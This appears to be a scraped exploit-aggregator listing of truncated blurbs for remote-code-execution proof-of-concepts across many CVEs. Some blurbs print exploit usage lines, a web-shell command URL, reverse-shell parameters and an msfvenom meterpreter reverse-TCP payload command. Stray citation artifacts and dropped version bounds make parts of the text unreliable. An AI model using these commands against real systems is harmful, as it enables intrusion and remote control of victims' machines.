log4j-CVE-2021-4104

250005e035c957e6d8b6faf6f55b45a665a14263...

Apache-Superset-Remote-Code-Execution-PoC-CVE-2018-8021

Apache Superset pickle 库代码执行 IBM : Apache Superset 可能允许远程攻击者在系统上执行任意代码，原因是使用了 pickle 库中的不安全 load 方法来反序列化数据。通过发送特制请求，攻击者可以利用此漏洞在系统上执行任意代码。 参考 : https://github.com/apache/incubator-superset/pull/4243 https://nvd.nist.gov/vuln/detail/CVE-2018-8021...

CVE-2021-30461

Productos afectados VoIPmonitor 24.60 Cómo ejecutar RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell en el navegador: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Referencia https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

Centreon-RCE

Centreon-RCE Centreon v.19.04 远程代码执行漏洞利用 CVE-2019-13024 修订自 https://github.com/mhaskar/CVE-2019-13024 使用方法： 1. 可根据需要编辑参数默认值，或不做修改（脚本底部） 2. 如有需要，可编辑 'editcommand' 函数以绕过防御 3. 使用 '-v' 进行故障排查/详细输出（打印响应内容） 示例： root@kitploit: ./centreonrce.py whoami ./centreonrce.py -t http://127.0.0.1/centreon -u...

CVE-2022-36532

Prueba de concepto para CVE-2022-36532 Una vulnerabilidad en Bolt CMS versión 5.1.12 y anteriores permite que un usuario autenticado con el rol EDITORROLE logre la ejecución remota de código. Esta vulnerabilidad puede detectarse con este script; para más detalles sobre la vulnerabilidad, consulte...

CVE-2021-26700

CVE-2021-26700 Nota: este manual es válido únicamente para los miembros del laboratorio DSNS. Introducción Esta es una vulnerabilidad de ejecución remota de código RCE que residía en una extensión de Visual Studio Code VS Code llamada npm, desarrollada por Microsoft y cuyo objetivo era permitir...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Contact Form 7 的多文件拖放上传插件 描述： 通过 drag‑and‑drop‑multiple‑file‑upload‑contact‑form‑7 ≤1.3.8.9 版本可实现任意文件上传，允许上传 .phar 文件，从而在 Apache+modphp 环境下导致远程代码执行 :contentReferenceoaicite:29index=29。 CVSS（v3.1）： 8.1（高危）:contentReferenceoaicite:30index=30 补丁： 更新至 ≥1.3.9.0 版本...

CVE-2017-0199

漏洞利用工具包 CVE-2017-0199 - v4.0 漏洞利用工具包 CVE-2017-0199 - v4.0 是一个方便的 Python 脚本，为渗透测试人员和安全研究人员提供了一种快速有效的方式来测试 Microsoft Office RCE。它可以生成恶意的 RTF/PPSX 文件，并在无需复杂配置的情况下向受害者传递 metasploit / meterpreter / 其他有效载荷。 免责声明 本程序仅供教育目的使用。未经许可不得使用。通常的免责声明适用，尤其是本人 bhdresh...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

CVE-2026-1357

CVE-2026-1357 — WPvivid备份与迁移远程代码执行 未经身份验证的任意文件上传 → 远程代码执行 字段| 值 ---|--- CVE| CVE-2026-1357 CVSS| 9.8（严重） 插件| WPvivid Backup & Migration 受影响版本| ≤ 0.9.123 修复版本| 0.9.124 发现者| Lucas Montes NiRoX PoC作者| halilkirazkaya 概述 WPvivid Backup & Migration 插件（≤ 0.9.123）存在一个严重漏洞，允许未经身份验证的攻击者...

CVE-2024-27956

WordPress SQLI-2-RCE 漏洞利用工具 这个 Python 脚本利用 CVE-2024-27956 漏洞，这是 WordPress 中的一个允许 SQL 注入从而导致远程代码执行（RCE）的漏洞。 功能 多线程利用：利用并发线程同时利用多个 WordPress 实例。 动态负载注入：动态构造 SQL 查询以将恶意代码注入易受攻击的 WordPress 安装。 详细的日志记录和错误处理：使用 colorama 和 coloredlogs 增强控制台输出，带有颜色编码消息。 要求 Python 3.x 所需的 Python...

CVE-2020-11978

CVE-2020-11978: Apache Airflow 示例 DAG 中的远程代码执行 信息 描述： 当 Airflow 加载示例 DAG 时，此漏洞允许远程代码执行（RCE），且可能通过 CVE-2020-13927 在未认证的情况下触发 CVE 致谢 ：DtDream security 的 xuxiang 受影响版本： 关于 CVE-2020-13927 如果 exampletriggertargetdag 未加载，并且你知道要触发的特定 DAG，则可以使用 CVE-2020-11978-min.py 作为模板来触发该特定 DAG。 修复措施 移除示例 DAG...

CVE-2019-16278

CVE-2019-16278 简单的 Python 脚本，用于利用 CVE-2019-16278 路径遍历漏洞，实现未授权的远程代码执行。 用法：python3 nostroSploit.py targetIP targetPort optional command to run 参考来源：https://git.sp0re.sh/sp0re/Nhttpd-exploits/src/branch/master/CVE-2019-16278.sh...

CVE-2021-4045

TP-Link Tapo c200 1.1.15 - 远程代码执行 RCE CVE-2021-4045 🔐 "PWNTAPO：揭示 TP-Link Tapo C200 摄像头（= v1.1.16 Build 211209）中的命令注入漏洞" 🔓 从 exploit db 阅读关于该利用的说明 这是一个命令注入漏洞，影响所有固件版本低于 1.1.16 Build 211209 Rel. 37726N 的 TP-Link Tapo c200 摄像头。要了解更多关于该利用的工作原理，请阅读 hacefresko 上的这篇文章。 安装 root@kitploit: git clone...

CVE-2023-4220-RCE

CVE-2023-4220-RCE 摘要 Starlabs 公告 受影响产品： Chamilo , -p --port REMOTE PORT -c --comand 反向 Shell 参数 -lh/--localhost： 攻击者 IP -lp/--localtcat 监听端口...

CVE-2023-51385-

通过不安全的 /.ssh/config 实现远程代码执行 在使用 SSH ProxyCommand 进行隧道和连接代理时，%h、%p 等令牌的使用非常普遍。 易受攻击的配置 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 注意：在我最初的评估中，我曾以为使用 '%h（单引号）可以避免此问题，但看起来类似这样的方式仍然存在漏洞： ssh://echo helloworld cve.txtfoo.example.com/bar...

CVE-2025-53691

CVE-2025-53691：通过不安全的反序列化实现远程代码执行（RCE） AjaxScriptManager 中的相同反射机制可用于调用 ProcessSerializedData 方法。该方法使用不安全的 BinaryFormatter 对提供的有效载荷进行反序列化，导致远程代码执行。攻击者可以构造恶意的序列化对象，在服务器上执行任意命令。 远程代码执行： 攻击者利用 CVE-2025-53691 在服务器上执行任意代码。 缓解措施 Sitecore 已为此漏洞发布补丁。强烈建议升级到最新版本的 Sitecore XP，或应用提供的安全补丁。 参考 1 Watchtowr Labs...

CVE-2012-2982-Webmin-Exploit

Webmin 1.590 远程命令执行漏洞利用（CVE-2012-2982） 概述 本仓库包含 CVE-2012-2982 的概念验证（PoC）利用脚本，该漏洞是一个影响 Webmin 1.590 及更早版本 的远程认证命令执行漏洞。该漏洞位于 /file/show.cgi 端点，攻击者可以通过在被操纵的请求中注入特殊字符（例如 | 管道符号）来执行任意命令。 本 PoC 仅用于 教育和安全研究目的 。未经许可利用他人系统是非法的、不道德的。 CVE-2012-2982 详情 描述 Webmin 是一款流行的基于 Web 的系统管理工具，用于管理基于 Unix 的系统。在 1.590...

CVE-2025-5394

CVE-2025-5394 – WordPress Alone 主题 = 7.8.3 - 通过插件安装实现未认证任意文件上传 🔥 漏洞概述 WordPress 主题 Alone 版本 = 7.8.3 存在未认证任意文件上传 漏洞。该缺陷允许未认证攻击者 通过一个未受保护的 AJAX 端点从远程 URL 上传并安装任意插件 ZIP 文件——从而通过部署后门插件实现远程代码执行（RCE） 。 该漏洞源于 beplusimportpackinstallplugin 函数，该函数通过 wpajaxnopriv 公开暴露，且没有任何身份验证或权限检查。该函数会从用户提供的 URL 安装并激活插件。...

CVE-2021-40444-POC

CVE-2021-40444-POC 尝试使用 Metasploit Framework 复现 Microsoft MSHTML 远程代码执行（RCE）漏洞。 最好不要在 FlareVM 中运行 准备 从 https://github.com/lockedbyte/CVE-2021-40444 Git 克隆仓库 准备稍后与 msfvenom 一起使用的 .dll 模板 msfvenom -p windows/meterpreter/reversetcp lhost= lport= -f dll -o template.dll 将刚刚生成的 template.dll 复制到仓库中的 tes...